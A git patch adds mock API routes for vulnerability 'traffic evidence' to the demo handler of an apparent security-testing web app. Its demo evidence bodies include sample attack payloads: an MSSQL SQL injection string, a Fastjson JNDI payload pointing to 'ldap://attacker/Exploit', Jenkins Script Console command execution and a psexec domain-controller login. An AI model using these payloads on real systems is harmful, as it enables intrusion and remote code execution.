From 5fbeb35b8cb23d848f97bee2d7714238d92dba9c Mon Sep 17 00:00:00 2001 From: Autumn-27 <53844290+Autumn-27@users.noreply.github.com> Date: Wed, 16 Sep 2026 11:05:21 -0400 Subject: [PATCH] =?UTF-8?q?fix(web):=20=E8=A1=A5=E9=BD=90=20demo=20?= =?UTF-8?q?=E6=BC=8F=E6=B4=9E=E8=AF=A6=E6=83=85=E9=A1=B5=E5=85=B3=E8=81=94?= =?UTF-8?q?=E6=B5=81=E9=87=8F=20mock=EF=BC=8C=E4=BF=AE=E7=99=BD=E5=B1=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit PR #102 给详情页加了 FindingTrafficPanel 并请求 GET /exploration/findings/{id}/traffic,但 demo mock handler 没有 对应路由,请求落到读兜底返回 {},前端读 data.bindings.length 时 因 undefined 崩掉整个概览 Tab —— 漏洞详情页白屏、展示不出信息。 补齐关联流量的全套 mock 路由(列表/绑定/编辑/解绑/排序/报文详情/ 正文分页),返回与后端 db.FindingTraffic 一致的结构并维护内存态; 为 5 条代表性漏洞预置语义匹配的流量证据,其余走空状态;列表与详情 接口补上 traffic_count。 --- web/src/lib/mock/handler.ts | 199 ++++++++++++++++++++++++++++++++++++ 1 file changed, 199 insertions(+) diff --git a/web/src/lib/mock/handler.ts b/web/src/lib/mock/handler.ts index b957ec5..226bbf2 100644 --- a/web/src/lib/mock/handler.ts +++ b/web/src/lib/mock/handler.ts @@ -16,8 +16,13 @@ import type { Company, CompanyScopeRule, Conversation, + EvidenceBodyPreview, FindingRetest, + FindingTraffic, + FindingTrafficBinding, IntentAsset, + TrafficEvidenceRole, + TrafficEvidenceSnapshot, ScopeRow, Task, TaskArchive, @@ -46,6 +51,127 @@ const mockConversations = structuredClone(D.conversations); const mockRetests: FindingRetest[] = []; const mockRetestMessages: Record = {}; +// ── 关联流量证据(finding traffic) ───────────────────────────────────────────── +// 后端把请求/响应快照独立存到 evidence 表,前端详情页用 FindingTrafficPanel 展示。 +// demo 里为部分漏洞预置绑定,快照直接引用 mock 抓包(data.traffic.exchanges), +// 其余漏洞返回空绑定。缺了这套路由,详情页会因读到空对象、访问 bindings.length 崩整页。 +const mockExchangeById = new Map((D.traffic.exchanges ?? []).map((exchange) => [exchange.id, exchange])); + +interface MockBindingSeed { + traffic_id: string; + role: TrafficEvidenceRole; + note?: string; +} + +// 每条漏洞预置的流量证据(finding id → 绑定的抓包)。选取与漏洞语义对应的请求, +// 让 demo 详情页的「关联流量」区块看起来真实。 +const mockFindingTrafficSeeds: Record = { + "f-1": [{ traffic_id: "x-2", role: "proof", note: "q 参数注入 payload,响应回显 MSSQL 报错。" }], + "f-2": [ + { traffic_id: "x-8", role: "baseline", note: "本人订单 id=1001,作为正常对照。" }, + { traffic_id: "x-9", role: "proof", note: "改 id=1002 越权读到他人订单。" }, + ], + "f-12": [ + { traffic_id: "x-15", role: "proof", note: "Fastjson @type JNDI payload,触发回连。" }, + { traffic_id: "x-16", role: "verification", note: "二次请求确认命令执行落地。" }, + ], + "f-15": [ + { traffic_id: "x-17", role: "baseline", note: "Jenkins Script Console 未授权可达。" }, + { traffic_id: "x-18", role: "proof", note: "scriptText 执行 Groovy 命令返回 SYSTEM。" }, + ], + "f-17": [{ traffic_id: "x-19", role: "proof", note: "psexec 以 svc_deploy 登录域控 DC01。" }], +}; + +// demo 用固定报文正文,避免详情页 Request/Response 空白。 +const mockEvidenceBodies: Record = { + "x-2": { + req: "q=1' AND 1=CONVERT(int,@@version)--", + resp: '{"error":"Conversion failed when converting the nvarchar value \'Microsoft SQL Server 2019 ...\' to data type int."}', + }, + "x-8": { req: "", resp: '{"order_id":1001,"user_id":42,"amount":199.00}' }, + "x-9": { + req: "", + resp: '{"order_id":1002,"user_id":77,"amount":1299.00,"address":"北京市朝阳区 ****","phone":"138****6021"}', + }, + "x-15": { + req: '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/Exploit","autoCommit":true}', + resp: '{"status":"error","message":"internal server error"}', + }, + "x-16": { req: '{"cmd":"id"}', resp: '{"status":"ok","out":"uid=33(www-data) gid=33(www-data)"}' }, + "x-17": { req: "", resp: "Jenkins Script Console..." }, + "x-18": { req: "script=println 'whoami'.execute().text", resp: "nt authority\\system" }, + "x-19": { req: "[psexec] acme/svc_deploy@10.10.10.10", resp: "[*] Got SYSTEM on DC01" }, +}; + +// 运行期状态:finding id → 绑定列表(可增删改序,demo 内存态)。首次访问按种子初始化。 +const mockFindingTraffic: Record = {}; +const mockFindingTrafficVersion: Record = {}; +let mockBindingSeq = 900; + +function mockBuildSnapshot(trafficId: string): TrafficEvidenceSnapshot { + const exchange = mockExchangeById.get(trafficId); + const capturedAt = exchange ? Math.floor(Date.parse(exchange.ts) / 1000) : 0; + let pathAndQuery = "/"; + try { + if (exchange) pathAndQuery = new URL(exchange.url).pathname + new URL(exchange.url).search; + } catch { + // 保底用根路径。 + } + const body = mockEvidenceBodies[trafficId]; + return { + id: `snap-${trafficId}`, + source_traffic_id: trafficId, + captured_at: capturedAt, + url: exchange?.url ?? "", + method: exchange?.method ?? "GET", + status: exchange?.status ?? 0, + content_type: exchange?.content_type ?? "", + req_head: `${exchange?.method ?? "GET"} ${pathAndQuery} HTTP/1.1\nHost: ${exchange?.host ?? ""}`, + resp_head: `HTTP/1.1 ${exchange?.status ?? 0}\nContent-Type: ${exchange?.content_type ?? ""}`, + req_hash: `req-${trafficId}`, + resp_hash: `resp-${trafficId}`, + req_len: body ? new TextEncoder().encode(body.req).length : 0, + resp_len: exchange?.resp_len ?? (body ? new TextEncoder().encode(body.resp).length : 0), + }; +} + +function mockTrafficBindings(findingID: string): FindingTrafficBinding[] { + if (!mockFindingTraffic[findingID]) { + const seeds = mockFindingTrafficSeeds[findingID] ?? []; + mockFindingTraffic[findingID] = seeds.map((seed, index) => ({ + id: String(++mockBindingSeq), + finding_id: findingID, + snapshot_id: `snap-${seed.traffic_id}`, + role: seed.role, + note: seed.note ?? "", + position: index, + created_at: new Date(Date.now() - (seeds.length - index) * 1000).toISOString(), + snapshot: mockBuildSnapshot(seed.traffic_id), + })); + mockFindingTrafficVersion[findingID] = 1; + } + return mockFindingTraffic[findingID]; +} + +function mockTrafficSummary(findingID: string): FindingTraffic { + const bindings = mockTrafficBindings(findingID).map((binding, index) => ({ + ...binding, + position: index, + // 列表/摘要接口剥掉报文头,与后端 trafficSummary 一致。 + snapshot: { ...binding.snapshot, req_head: "", resp_head: "" }, + })); + const version = mockFindingTrafficVersion[findingID] ?? 1; + return { finding_id: findingID, version, report_version: version, bindings }; +} + +function mockTrafficCount(findingID: string): number { + return mockTrafficBindings(findingID).length; +} + +function mockEvidencePreview(text: string): EvidenceBodyPreview { + return { content: text, offset: 0, total: text.length, next_offset: text.length, truncated: false, binary: false }; +} + function advanceMockRetests() { for (const retest of mockRetests) { if (retest.status !== "running" || retest.conversation_id == null) continue; @@ -1776,6 +1902,77 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re queued: false, }; } + // 关联流量证据:列表 / 绑定 / 编辑 / 解绑 / 排序 / 单条报文详情(demo 内存态)。 + // seg = ["exploration","findings",,"traffic", ...] + if (seg[0] === "exploration" && seg[1] === "findings" && seg[3] === "traffic") { + const findingID = seg[2]; + if (!mockFindings.some((item) => item.id === findingID)) throw new Error("漏洞不存在"); + const bindings = mockTrafficBindings(findingID); + const bumpVersion = () => { + mockFindingTrafficVersion[findingID] = (mockFindingTrafficVersion[findingID] ?? 1) + 1; + }; + + // 单条报文详情:GET /traffic/{binding_id} + if (seg.length === 5 && seg[4] !== "order" && m === "GET") { + const binding = bindings.find((item) => item.id === seg[4]); + if (!binding) throw new Error("证据不存在"); + const body = mockEvidenceBodies[binding.snapshot.source_traffic_id] ?? { req: "", resp: "" }; + return { + binding: structuredClone(binding), + request: mockEvidencePreview(body.req), + response: mockEvidencePreview(body.resp), + }; + } + // 报文正文分页:GET /traffic/{binding_id}/body —— demo 正文不截断,直接返回空续页。 + if (seg.length === 6 && seg[5] === "body" && m === "GET") { + const binding = bindings.find((item) => item.id === seg[4]); + if (!binding) throw new Error("证据不存在"); + const body = mockEvidenceBodies[binding.snapshot.source_traffic_id] ?? { req: "", resp: "" }; + const side = q.get("side") === "request" ? body.req : body.resp; + return mockEvidencePreview(side); + } + // 绑定流量:POST /traffic + if (seg.length === 4 && m === "POST") { + const refs = Array.isArray(b.traffic_refs) ? (b.traffic_refs as MockBindingSeed[]) : []; + for (const ref of refs) { + if (!ref.traffic_id || bindings.some((item) => item.snapshot.source_traffic_id === ref.traffic_id)) continue; + bindings.push({ + id: String(++mockBindingSeq), + finding_id: findingID, + snapshot_id: `snap-${ref.traffic_id}`, + role: ref.role ?? "supporting", + note: ref.note ?? "", + position: bindings.length, + created_at: new Date().toISOString(), + snapshot: mockBuildSnapshot(ref.traffic_id), + }); + } + bumpVersion(); + return mockTrafficSummary(findingID); + } + // 排序:PUT /traffic/order + if (seg.length === 5 && seg[4] === "order" && m === "PUT") { + const order = Array.isArray(b.binding_ids) ? (b.binding_ids as string[]) : []; + bindings.sort((left, right) => order.indexOf(left.id) - order.indexOf(right.id)); + bumpVersion(); + return mockTrafficSummary(findingID); + } + // 编辑说明 / 解绑:PATCH|DELETE /traffic/{binding_id} + if (seg.length === 5 && (m === "PATCH" || m === "DELETE")) { + const index = bindings.findIndex((item) => item.id === seg[4]); + if (index < 0) throw new Error("证据不存在"); + if (m === "DELETE") { + bindings.splice(index, 1); + } else { + if (typeof b.role === "string") bindings[index].role = b.role as TrafficEvidenceRole; + if (typeof b.note === "string") bindings[index].note = b.note; + } + bumpVersion(); + return mockTrafficSummary(findingID); + } + // 列表:GET /traffic + return mockTrafficSummary(findingID); + } // 单条 finding:GET 详情 / PATCH 改状态/严重度/名称/类别(demo 直接改内存对象)。 if (seg[0] === "exploration" && seg[1] === "findings" && seg.length === 3 && seg[2] !== "stats") { const f = mockFindings.find((x) => x.id === seg[2]); @@ -1797,6 +1994,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re return { ...f, finding_id: f.id, + traffic_count: mockTrafficCount(f.id), ...(inherited ? { inherited: true, source_task_id: f.task_id } : {}), }; } @@ -1807,6 +2005,7 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re ...f, report: undefined, finding_id: f.id, + traffic_count: mockTrafficCount(f.id), }); if (task) { const owner = mockTasks.find((item) => item.id === task);